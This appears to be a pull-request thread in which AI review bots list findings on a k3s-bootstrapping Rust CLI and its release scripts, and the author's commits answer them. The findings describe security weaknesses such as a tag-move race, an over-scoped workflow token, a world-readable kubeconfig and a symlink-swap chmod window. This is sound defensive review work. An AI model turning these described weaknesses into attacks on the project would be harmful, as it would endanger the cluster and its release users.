exec -- ssh-key generate-api-keyx(and similarlyteam disablex,billing capacity-report, orteam settings auto-join oncall) produces that exact command string and triggers the confirmation even though it is not the dangerous subcommand. This violates the invariant that a prefix should match only at a word boundary; thestarts_with(prefix)branch currently accepts arbitrary suffixes for entries lacking a trailing space. This is a false-positive safety/CLI correctness issue, and it would be disproven if the remote command grammar intentionally treats these suffix forms as aliases of the dangerous commands. (core/src/shell.rs) — anchor-unreliable - 🟡 Medium Tailnet Lock lockout handling is bypassed when
tailscale upreturns the lockout error, so the script exits with the raw status before runningCHECK_TAILNET_LOCK_SCRIPT; consequently the documented interactive sign-and-retry flow cannot trigger for the intended failure. (k8s_cli/src/manager/scripts.rs) — anchor-unreliable - 🔵 Low The dangerous-command classifier uses unbounded
starts_withfor several prefixes that do not end in a space, so raw commands whose subcommand is only a prefix of a dangerous form are incorrectly treated as dangerous. For example,exec -- team disablex,ssh-key generate-api-keyx, orbilling capacityfooreachesis_dangerousand prompts even though these are distinct command forms and should remain outside the policy. (core/src/shell.rs) — anchor-unreliable
♻️ Previously reported (still present) (4)
- 🟠 High Plain-text error/status responses are treated as VM inventory names, violating the requirement that status/error strings not become names. For example,
parse_vm_names(r#"{"output":"Error: quota exceeded\n"}"#)falls through toparse_vm_names_from_text, which returns{"Error:"}; an unwrappedVM vm-1 is unavailablesimilarly returns{"VM"}. A response such asvm-1 does not existcan falsely mark the planned VM as present, suppress creation, and later make bootstrap SSH tovm-1.exe.xyz. The parser should distinguish a valid rendered table from error/status text (or otherwise reject such text). This is introduced by the text fallback behavior in this change; it would be disproven only if the exe.dev client contract guarantees every non-JSON output is always a valid table and never an error/status body. (k8s_cli/src/manager/parsing.rs) — previously-reported - 🟠 High Tag verification and release publication are separated by a TOCTOU window. The workflow verifies that the tag resolves to
BUILT_SHA, then invokes the release action using the mutable tag name; if an attacker moves the tag after the API check but before or during the action, the release can be published under a tag that no longer points to the built commit. Thus the check does not guarantee publishing is blocked when the tag moves after builds. The claim would be false only if tag mutation were prevented for the entire job by an external immutable-tag policy, which is not enforced by this workflow. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium An explicit formula path is not safely constrained to the tap and can overwrite an arbitrary file (or follow a symlink) despite the script's path check. (scripts/release/sync-homebrew-tap.sh) — previously-reported
- 🟡 Medium Automatic layout discovery can select a sharded destination based solely on an unrelated one-character directory, even when the tap is flat and Homebrew will use the flat formula path. (scripts/release/sync-homebrew-tap.sh) — previously-reported
🤖 Prompt for AI agents — all findings (20)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (3)
Somewhere in the code under review, address this finding:
Existing-mode readiness, metadata, and manifest operations are not bound to K3S_URL: when --kubeconfig and KUBECONFIG are absent, the code proceeds with kubectl's default context. This can report readiness for or mutate an unrelated cluster while workers were installed against the required K3S_URL.
Somewhere in the code under review, address this finding:
The generated k3s server kubeconfig is made world-readable on the VM: both server installation paths pass --write-kubeconfig-mode 644, although /etc/rancher/k3s/k3s.yaml contains client credentials. Any local VM user can read those credentials before fetch_kubeconfig copies the file.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (5)
In .github/workflows/release.yml around line 194, address this finding:
The publish-time moving-tag check is not an atomic safeguard: it reads the tag target, then separately invokes `softprops/action-gh-release` with only `tag_name`. If an authorized actor moves the tag after the `gh api` check but before or during the release action, the action can create/update the release for the new target while attaching archives built from `BUILT_SHA`. Thus the workflow can publish artifacts that do not match the tag despite the verification step. This would be false only if the repository prevents tag updates for the entire check-to-action interval or the release action/API pins the release target to `BUILT_SHA` (neither is expressed here).
In scripts/release/sync-homebrew-tap.sh around line 175, address this finding:
Archive member validation checks only that expected names appear, not that the entries are regular root files, so a malicious or malformed release archive can pass validation while formula installation receives the wrong payload type.
In scripts/release/sync-homebrew-tap.sh around line 72, address this finding:
The script allows FORMULA_NAME and FORMULA_CLASS to identify different formulae, producing a file Homebrew cannot discover under the requested formula name.
In core/src/shell.rs around line 52, address this finding:
`share receive-email` is a mutating access/capability command but is not classified as dangerous. The CLI builds `share receive-email <vm> [on|off] [--reply-policy ...]`, which changes whether a VM can send email and who it may email; `guard_dangerous_command` is called for both transports before execution, yet `is_dangerous` has no `share receive-email` rule. Thus a user can enable broad email capability without confirmation.
In k8s_cli/src/manager/tests.rs around line 188, address this finding:
The destination-precedence test does not actually verify the required invariant that `ssh_dest` is authoritative: in `parses_ssh_destinations_from_ls_json`, each record either has matching `ssh_dest`/host fields or only host/user fields. A regression that incorrectly prefers `ssh_host` + `ssh_user` over a conflicting `ssh_dest` would pass the suite, despite connecting to a different VM route. This is a concrete test-alignment gap; it would be disproven if another exercised test (outside the reviewed file) supplies conflicting fields and asserts `ssh_dest` wins.
## Additional findings on this change (not posted inline) (8)
In .github/workflows/release.yml, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In core/src/shell.rs around line 65, address this finding:
The `integrations setup ` prefix blocks the explicitly read-only `integrations setup <type> --list` form. `build_integrations_command` emits that exact form for `IntegrationSetupCmd.list`, while the classifier treats every setup invocation as dangerous; consequently a listing operation prompts and can be cancelled, violating the non-mutating-command exemption.
In k8s_cli/src/manager/parsing.rs around line 23, address this finding:
When a JSON response contains both outer listing records and an `output` field containing a serialized listing, the two parsers disagree with the full payload: `parse_vm_names` returns immediately once it finds any outer name, and `parse_ssh_destinations` only unwraps when it finds no outer destinations. Thus `{"vms":[{"vm_name":"existing"}],"output":"[{\"vm_name\":\"new\",\"ssh_dest\":\"vm+new@exe.dev\"}]"}` yields only `existing` and no target for `new`, causing inventory/name-target mappings to be incomplete and potentially causing bootstrap to recreate or use hostname fallback for a VM represented in the serialized listing. This is disproven if the API contract guarantees wrapper objects never contain any listing fields outside `output`; the stated obligation for partially populated/wrapped listings should still be covered by a test or explicit invariant.
In k8s_cli/src/manager/scripts.rs around line 87, address this finding:
The systemd agent bootstrap can report success while the k3s agent has not actually become usable: it starts the unit with `systemctl start --no-block`, and `k3s_service_started` treats `activating` as success. The readiness loop then breaks immediately and the final check also accepts the same transient state, so a subsequent startup failure or hang is not surfaced.
In .github/workflows/release.yml, address this finding:
The push path never validates the release tag before resolving it. Because the trigger pattern is only `v*`, a pushed tag such as `v1.2` or `vrelease` reaches the resolve job and is exported to all builds; each matrix job then performs checkout and toolchain setup before `set-version.sh` rejects it. This violates the stated resolve-time validation and allows workflow runs for tags outside the binary/Cargo SemVer grammar (with wasted build work and no early rejection). The claim would be false if an external repository policy guaranteed every pushed `v*` tag is valid SemVer, but the workflow itself provides no such enforcement.
In core/src/shell.rs, address this finding:
Several dangerous prefixes are matched without a token boundary, so valid/raw commands whose next token merely starts with the dangerous spelling are classified as dangerous. For example, `exec -- ssh-key generate-api-keyx` (and similarly `team disablex`, `billing capacity-report`, or `team settings auto-join oncall`) produces that exact command string and triggers the confirmation even though it is not the dangerous subcommand. This violates the invariant that a prefix should match only at a word boundary; the `starts_with(prefix)` branch currently accepts arbitrary suffixes for entries lacking a trailing space. This is a false-positive safety/CLI correctness issue, and it would be disproven if the remote command grammar intentionally treats these suffix forms as aliases of the dangerous commands.
In k8s_cli/src/manager/scripts.rs, address this finding:
Tailnet Lock lockout handling is bypassed when `tailscale up` returns the lockout error, so the script exits with the raw status before running `CHECK_TAILNET_LOCK_SCRIPT`; consequently the documented interactive sign-and-retry flow cannot trigger for the intended failure.
In core/src/shell.rs, address this finding:
The dangerous-command classifier uses unbounded `starts_with` for several prefixes that do not end in a space, so raw commands whose subcommand is only a prefix of a dangerous form are incorrectly treated as dangerous. For example, `exec -- team disablex`, `ssh-key generate-api-keyx`, or `billing capacityfoo` reaches `is_dangerous` and prompts even though these are distinct command forms and should remain outside the policy.
## Previously reported and still present (4)
In k8s_cli/src/manager/parsing.rs around line 39, address this finding:
Plain-text error/status responses are treated as VM inventory names, violating the requirement that status/error strings not become names. For example, `parse_vm_names(r#"{"output":"Error: quota exceeded\n"}"#)` falls through to `parse_vm_names_from_text`, which returns `{"Error:"}`; an unwrapped `VM vm-1 is unavailable` similarly returns `{"VM"}`. A response such as `vm-1 does not exist` can falsely mark the planned VM as present, suppress creation, and later make bootstrap SSH to `vm-1.exe.xyz`. The parser should distinguish a valid rendered table from error/status text (or otherwise reject such text). This is introduced by the text fallback behavior in this change; it would be disproven only if the exe.dev client contract guarantees every non-JSON output is always a valid table and never an error/status body.
In .github/workflows/release.yml, address this finding:
Tag verification and release publication are separated by a TOCTOU window. The workflow verifies that the tag resolves to `BUILT_SHA`, then invokes the release action using the mutable tag name; if an attacker moves the tag after the API check but before or during the action, the release can be published under a tag that no longer points to the built commit. Thus the check does not guarantee publishing is blocked when the tag moves after builds. The claim would be false only if tag mutation were prevented for the entire job by an external immutable-tag policy, which is not enforced by this workflow.
In scripts/release/sync-homebrew-tap.sh around line 121, address this finding:
An explicit formula path is not safely constrained to the tap and can overwrite an arbitrary file (or follow a symlink) despite the script's path check.
In scripts/release/sync-homebrew-tap.sh around line 106, address this finding:
Automatic layout discovery can select a sharded destination based solely on an unrelated one-character directory, even when the tap is flat and Homebrew will use the flat formula path.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| # The archives were built from one commit; the release is about to be | ||
| # attached to a tag name. If the tag moved in between, publishing would ship | ||
| # binaries that do not match the source the tag now points at. | ||
| - name: Verify the tag still points at the built commit |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The publish-time moving-tag check is not an atomic safeguard: it reads the tag target, then separately invokes `softprops/action-gh-release` with only `tag_name`. If an authorized actor moves the tag after the `gh api` check but before or during the release action, the action can create/update the release for the new target while attaching archives built from `BUILT_SHA`. Thus the workflow can publish artifacts that do not match the tag despite the verification step. This would be false only if the repository prevents tag updates for the entire check-to-action interval or the release action/API pins the release target to `BUILT_SHA` (neither is expressed here).
| for platform in "${PLATFORMS[@]}"; do | ||
| tar -tzf "$WORK_DIR/${ARCHIVE_PREFIX}-${RELEASE_TAG}-${platform}.tar.gz" > "$WORK_DIR/members.txt" | ||
| for member in "${BINARIES[@]}" "${DOCS[@]}"; do | ||
| if ! grep -qx "\./$member" "$WORK_DIR/members.txt"; then |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact handling of a symlink source by Homebrew's bin.install/doc.install implementation is external to this repository, but the validation bypass itself is deterministic: tar -t emits an exact ./name line for a symlink, without indicating that it is not a regular file.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
Archive member validation checks only that expected names appear, not that the entries are regular root files, so a malicious or malformed release archive can pass validation while formula installation receives the wrong payload type.
| exit 1 | ||
| fi | ||
|
|
||
| if [[ ! "$FORMULA_CLASS" =~ ^[A-Z][0-9A-Za-z_]*$ ]]; then |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact Homebrew error wording may vary by Homebrew version, but a formula file's class is expected to correspond to its formula name and the generated mismatch cannot be installed as the requested name.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The script allows FORMULA_NAME and FORMULA_CLASS to identify different formulae, producing a file Homebrew cannot discover under the requested formula name.
| "share remove-link ", | ||
| "share remove-share-link ", | ||
| "share remove ", | ||
| "share access allow ", |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In core/src/shell.rs, address this finding:
`share receive-email` is a mutating access/capability command but is not classified as dangerous. The CLI builds `share receive-email <vm> [on|off] [--reply-policy ...]`, which changes whether a VM can send email and who it may email; `guard_dangerous_command` is called for both transports before execution, yet `is_dangerous` has no `share receive-email` rule. Thus a user can enable broad email capability without confirmation.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| "share access allow ", | |
| "share access allow ", | |
| "share receive-email", |
| fn parses_ssh_destinations_from_ls_json() { | ||
| let destinations = parse_ssh_destinations( | ||
| r#"{"vms":[ | ||
| {"vm_name":"routable","ssh_dest":"routable.exe.xyz","ssh_host":"routable.exe.xyz"}, |
There was a problem hiding this comment.
🎯 Correctness | 🔵 Low
🧩 Analysis
- Change relation: unknown
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/tests.rs, address this finding:
The destination-precedence test does not actually verify the required invariant that `ssh_dest` is authoritative: in `parses_ssh_destinations_from_ls_json`, each record either has matching `ssh_dest`/host fields or only host/user fields. A regression that incorrectly prefers `ssh_host` + `ssh_user` over a conflicting `ssh_dest` would pass the suite, despite connecting to a different VM route. This is a concrete test-alignment gap; it would be disproven if another exercised test (outside the reviewed file) supplies conflicting fields and asserts `ssh_dest` wins.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| {"vm_name":"routable","ssh_dest":"routable.exe.xyz","ssh_host":"routable.exe.xyz"}, | |
| {"vm_name":"routable","ssh_dest":"routable.exe.xyz","ssh_host":"wrong.exe.dev"}, |
…fication Existing mode joined workers to K3S_URL and then labelled, tainted, and deployed wherever kubectl happened to point, warning about it rather than checking. The kubectl context is now compared with K3S_URL by host and port before anything is changed, so a default context for another cluster fails instead of receiving the fleet's metadata and manifests. The dangerous-command classifier matched prefixes with `starts_with`, so raw commands that merely spell one as a prefix — `team disablex`, `billing capacityfoo`, `ssh-key generate-api-keyx` — prompted as if they were the dangerous form. Matching is now anchored at a word boundary, which also lets the list drop its trailing-space convention. `share receive-email` joins the list, since it turns a VM's mailbox on and sets who it may write to, while the read-only `integrations setup --list` and `--verify` forms no longer prompt. `tailscale up` exits non-zero when the node is locked out, and the script returned that status before reaching the Tailnet Lock check, so the documented sign-and-retry flow could never trigger for the case it exists for. The check now runs before the status is acted on. The text fallback took any first word as a VM name, so `Error: quota exceeded` became a VM called `Error:` and `VM vm-1 is unavailable` became `VM`; a planned VM reported that way would look like it already existed. Words that are not DNS labels are no longer inventory. State directory names sanitized `a/b` and `a_b` to the same directory, where two clusters would overwrite each other's token; unsafe names now carry a digest of the original. An existing but empty token file was returned as the cluster credential. Release: the tag is validated on the push path too, since the trigger only filters `v*`; verification moved to its own job so the write-capable token is scoped to publishing alone; and a post-publish check turns a tag moved during the release action from a silent mismatch into a failed run. The tap script requires archive members to be regular files rather than merely present, keeps FORMULA_CLASS consistent with FORMULA_NAME, confines an explicit TAP_FORMULA_PATH to the tap and refuses a symlink, and treats a directory as sharded only when it actually holds formulae.
There was a problem hiding this comment.
Actionable comments posted: 2
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (2)
- 🟡 Medium Endpoint comparison fails to normalize a trailing dot when an explicit port is present.
same_cluster_endpoint("https://k3s.example.:6443", "https://k3s.example:6443")parses the first host ask3s.example.(thetrim_end_matches('.')is applied to the whole authority before splitting, so it cannot remove a dot before:6443) and therefore rejects two equivalent DNS authorities. This violates the compatibility requirement for trailing dots and blocks existing-cluster bootstrap for a valid kubeconfig/K3S_URL pair. (inline) - 🟡 Medium Permission tightening of a reused token has a symlink-swap window that can chmod an attacker-selected target. (inline)
⛔ Unresolved from previous review (3) — not approved until fixed
- The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after
Verify the tag still points at the built commitcompletes but beforeaction-gh-releaseresolvestag_name, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move. — The current workflow still performs a pre-publish check inverify, then later passes the mutable tag name (needs.resolve.outputs.tag) tosoftprops/action-gh-release. A tag can move after the check and before or during that publish step, so the release can still be attached to the moved tag while the archives were built fromBUILT_SHA. The new post-publish check only detects the race after the release has already been created/updated and does not undo or prevent the mismatch; therefore it is not an atomic publish target. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The current workflow still setspermissions: contents: writeat thepublishjob level. GitHub Actions applies that job token scope to every step in the job, soDownload release archivesand the finalConfirm the published tag is still the built commitshell step still execute with a write-capablegithub.token; moving verification to a read-onlyverifyjob does not remove the exposure from the publish job's preceding and following steps. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when captured stdout containsREMOTE_EXIT_PREFIX, but it still retries any status-255 result without that marker. A lost SSH connection can occur after the wrapped script has executed (including after the state-changing bootstrap) but before the wrapper's final marker is delivered, leaving no marker in the client buffer; that outcome still satisfiesoutput.status.code() == Some(255) && !remote_ranand resends the script. The marker is therefore only evidence of completion when received, not evidence that execution did not occur when absent.
⚠️ Unverified risks (1)
- A push-triggered annotated tag is not dereferenced before its SHA is exported. For an annotated-tag push,
GITHUB_SHAcan be the tag-object SHA rather than the commit SHA; the build jobs then pass that object ID toactions/checkoutand the verify job compares the tag's dereferenced commit against the tag-object ID. This causes annotated tags pushed through the normal release trigger to fail checkout or fail verification, while the dispatch path explicitly handles this case. (.github/workflows/release.yml)
📋 Additional findings from this change (not shown inline) (6)
- 🟠 High Changing a node's desired taint to none (or to a different taint) leaves stale scheduling restrictions on the cluster, and status reports the node as healthy anyway.
apply_node_metadataonly issueskubectl taintwhen the plan has a taint, so it never removes an old taint; meanwhileprint_kubernetes_statustreats every taint as acceptable whenexpected.taintisNoneand only checks presence rather than exact taint state. For example, a node previously configured withexedev.dev/pool=blue:NoScheduleremains tainted after the fleet is edited to unisolated, whilestatusprintstaint=ok, violating metadata reconciliation and drift reporting. (k8s_cli/src/manager/mod.rs) — anchor-outside-diff - 🟠 High The supervisor path downloads and executes the k3s installer without checksum verification. (k8s_cli/src/manager/scripts.rs) — anchor-unreliable
- 🟡 Medium The no-supervisor PID fallback can incorrectly skip starting k3s when its PID file is stale or the PID has been reused by an unrelated process. (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff
- 🟡 Medium An explicit bare filename supplied as
--kubeconfigcannot be written in the current directory. (k8s_cli/src/manager/state.rs) — anchor-outside-diff - 🟡 Medium Cluster-derived state paths can escape the intended state directory when a parent component is a symlink. (k8s_cli/src/manager/state.rs) — anchor-outside-diff
- 🔵 Low Failed or interrupted no-supervisor k3s downloads can leave credential-free but persistent temporary binary/hash files in /tmp because cleanup is performed only on checksum mismatch or successful completion. (k8s_cli/src/manager/scripts.rs) — anchor-outside-diff
♻️ Previously reported (still present) (2)
- 🟡 Medium set-version.sh can leave a partially updated workspace and stale Cargo.lock when applying staged manifests is interrupted or a move fails. (scripts/release/set-version.sh) — previously-reported
- 🟡 Medium Archive validation only proves that at least one regular entry with each required name appears in the verbose tar listing; an archive containing a required regular file followed by a duplicate symlink or non-regular entry with the same name can pass validation while extraction/install uses the later entry. (scripts/release/sync-homebrew-tap.sh) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (1)
- The endpoint parser accepts malformed/ambiguous authorities instead of rejecting them. Any authority whose final colon component is non-numeric is treated as a host with implicit port 6443, so values such as
https://k3s.example:6443:7443can compare equal to the same malformed authority (and malformed user/host forms are not rejected). Existing-cluster authorization therefore does not enforce an unambiguous host-and-port authority before allowing worker joins and subsequent kubectl mutations. (k8s_cli/src/manager/mod.rs)
🤖 Prompt for AI agents — all findings (13)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (3)
Somewhere in the code under review, address this finding:
The tag recheck is check-then-use rather than an atomic publish target. A maintainer or attacker who moves the release tag after `Verify the tag still points at the built commit` completes but before `action-gh-release` resolves `tag_name`, can cause the release to be attached to the moved tag while the archives remain from BUILT_SHA; the workflow will not refuse that move.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (2)
In k8s_cli/src/manager/mod.rs around line 454, address this finding:
Endpoint comparison fails to normalize a trailing dot when an explicit port is present. `same_cluster_endpoint("https://k3s.example.:6443", "https://k3s.example:6443")` parses the first host as `k3s.example.` (the `trim_end_matches('.')` is applied to the whole authority before splitting, so it cannot remove a dot before `:6443`) and therefore rejects two equivalent DNS authorities. This violates the compatibility requirement for trailing dots and blocks existing-cluster bootstrap for a valid kubeconfig/K3S_URL pair.
In k8s_cli/src/manager/state.rs around line 169, address this finding:
Permission tightening of a reused token has a symlink-swap window that can chmod an attacker-selected target.
## Additional findings on this change (not posted inline) (6)
In k8s_cli/src/manager/mod.rs around line 291, address this finding:
Changing a node's desired taint to none (or to a different taint) leaves stale scheduling restrictions on the cluster, and status reports the node as healthy anyway. `apply_node_metadata` only issues `kubectl taint` when the plan has a taint, so it never removes an old taint; meanwhile `print_kubernetes_status` treats every taint as acceptable when `expected.taint` is `None` and only checks presence rather than exact taint state. For example, a node previously configured with `exedev.dev/pool=blue:NoSchedule` remains tainted after the fleet is edited to unisolated, while `status` prints `taint=ok`, violating metadata reconciliation and drift reporting.
In k8s_cli/src/manager/scripts.rs, address this finding:
The supervisor path downloads and executes the k3s installer without checksum verification.
In k8s_cli/src/manager/scripts.rs around line 223, address this finding:
The no-supervisor PID fallback can incorrectly skip starting k3s when its PID file is stale or the PID has been reused by an unrelated process.
In k8s_cli/src/manager/state.rs around line 115, address this finding:
An explicit bare filename supplied as `--kubeconfig` cannot be written in the current directory.
In k8s_cli/src/manager/state.rs around line 116, address this finding:
Cluster-derived state paths can escape the intended state directory when a parent component is a symlink.
In k8s_cli/src/manager/scripts.rs around line 166, address this finding:
Failed or interrupted no-supervisor k3s downloads can leave credential-free but persistent temporary binary/hash files in /tmp because cleanup is performed only on checksum mismatch or successful completion.
## Previously reported and still present (2)
In scripts/release/set-version.sh around line 124, address this finding:
set-version.sh can leave a partially updated workspace and stale Cargo.lock when applying staged manifests is interrupted or a move fails.
In scripts/release/sync-homebrew-tap.sh around line 215, address this finding:
Archive validation only proves that at least one regular entry with each required name appears in the verbose tar listing; an archive containing a required regular file followed by a duplicate symlink or non-regular entry with the same name can pass validation while extraction/install uses the later entry.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 5 of 7 areas reviewed
| fn same_cluster_endpoint(left: &str, right: &str) -> bool { | ||
| fn parts(url: &str) -> (String, String) { | ||
| let without_scheme = url.split_once("://").map_or(url, |(_, rest)| rest); | ||
| let authority = without_scheme |
There was a problem hiding this comment.
🔍 Compatibility | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/mod.rs, address this finding:
Endpoint comparison fails to normalize a trailing dot when an explicit port is present. `same_cluster_endpoint("https://k3s.example.:6443", "https://k3s.example:6443")` parses the first host as `k3s.example.` (the `trim_end_matches('.')` is applied to the whole authority before splitting, so it cannot remove a dot before `:6443`) and therefore rejects two equivalent DNS authorities. This violates the compatibility requirement for trailing dots and blocks existing-cluster bootstrap for a valid kubeconfig/K3S_URL pair.
| if mode & 0o077 == 0 { | ||
| return Ok(()); | ||
| } | ||
| fs::set_permissions(path, fs::Permissions::from_mode(0o600)) |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The practical impact depends on whether an attacker can write the state directory and whether the selected target is owned by the process user; chmod will fail for targets the process cannot change.
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
Permission tightening of a reused token has a symlink-swap window that can chmod an attacker-selected target.
apply_node_metadata only ever added the desired taint, so a pool changed to unisolated kept its old NoSchedule and stayed unschedulable while the plan said otherwise, and status printed taint=ok because it treated a desired `None` as nothing to check. Taints under the exedev.dev prefix that the plan no longer wants are now removed, taints set by anything else are left alone, and status compares what is on the node with what the plan asks for. same_cluster_endpoint trimmed the root label from the whole authority, which cannot reach a dot before an explicit port, so `k3s.example.:6443` and `k3s.example:6443` compared as different clusters and blocked existing-mode bootstrap. The trim now happens after the port is split off. Tightening a reused token's permissions went through the path, and fs::set_permissions follows symlinks, so an entry swapped after the check could have had its target chmodded instead. It now happens through the handle the contents were read from. State directories are also confirmed to be real directories rather than symlinks before a secret is written into them, and a bare relative path no longer takes the create_dir_all branch at all. A recorded k3s pid can outlive the process and be reused by an unrelated one, which read as "already running" and skipped the start; the pid is now confirmed to still belong to k3s. A failed k3s download left its partial file in /tmp rather than cleaning up as the checksum-mismatch path does. Release: the post-publish check moved into its own job, so the job holding contents: write is down to downloading the artifacts and running the release action. Archive validation now requires every entry with a required name to be a regular file, since extraction applies entries in order and a later symlink would be what gets installed. set-version.sh marks the workspace as applied before the first move rather than after the last, so an interrupt partway through the moves still restores.
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@core/src/shell.rs`:
- Around line 104-109: Update matches_command so command names are recognized
when followed by any shell whitespace separator, including tabs, rather than
only U+0020. Preserve exact-name matching and the existing argument-boundary
behavior for other whitespace-separated tokens.
In `@k8s_cli/src/manager/mod.rs`:
- Around line 771-781: Update stale_owned_taints to compare tool-owned taints by
both key and effect rather than key alone, and format removals as key:effect-.
Ensure a changed effect removes the previous taint while retaining the desired
one, and add a regression test covering the same key with different effects.
🪄 Autofix
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: fb3c36bc-274d-4410-bf79-de1e804a5a37
📒 Files selected for processing (10)
.github/workflows/release.ymlcore/src/shell.rsk8s_cli/src/manager/mod.rsk8s_cli/src/manager/parsing.rsk8s_cli/src/manager/scripts.rsk8s_cli/src/manager/state.rsk8s_cli/src/manager/tests.rsscripts/release/check-version.shscripts/release/set-version.shscripts/release/sync-homebrew-tap.sh
🚧 Files skipped from review as they are similar to previous changes (5)
- scripts/release/check-version.sh
- k8s_cli/src/manager/parsing.rs
- scripts/release/sync-homebrew-tap.sh
- scripts/release/set-version.sh
- k8s_cli/src/manager/state.rs
📜 Review details
⏰ Context from checks skipped due to timeout. (1)
- GitHub Check: winnowl/review
🔇 Additional comments (7)
k8s_cli/src/manager/mod.rs (1)
16-16: LGTM!Also applies to: 36-36, 53-54, 293-304, 363-417, 432-482
k8s_cli/src/manager/scripts.rs (1)
53-67: LGTM!Also applies to: 182-188, 214-214, 239-245, 295-313
k8s_cli/src/manager/tests.rs (1)
185-207: LGTM!Also applies to: 483-572, 604-623
.github/workflows/release.yml (4)
229-260: The post-publication check does not prevent the existing tag-move race.
confirmfails only aftersoftprops/action-gh-releasepublishes the release. If the tag moves afterverifycompletes, the release can still attach archives built fromBUILT_SHAto the moved tag. This is the same issue already reported for Line 229.
62-66: LGTM!
94-176: LGTM!
178-206: LGTM!
| fn matches_command(command: &str, name: &str) -> bool { | ||
| command == name | ||
| || command | ||
| .strip_prefix(name) | ||
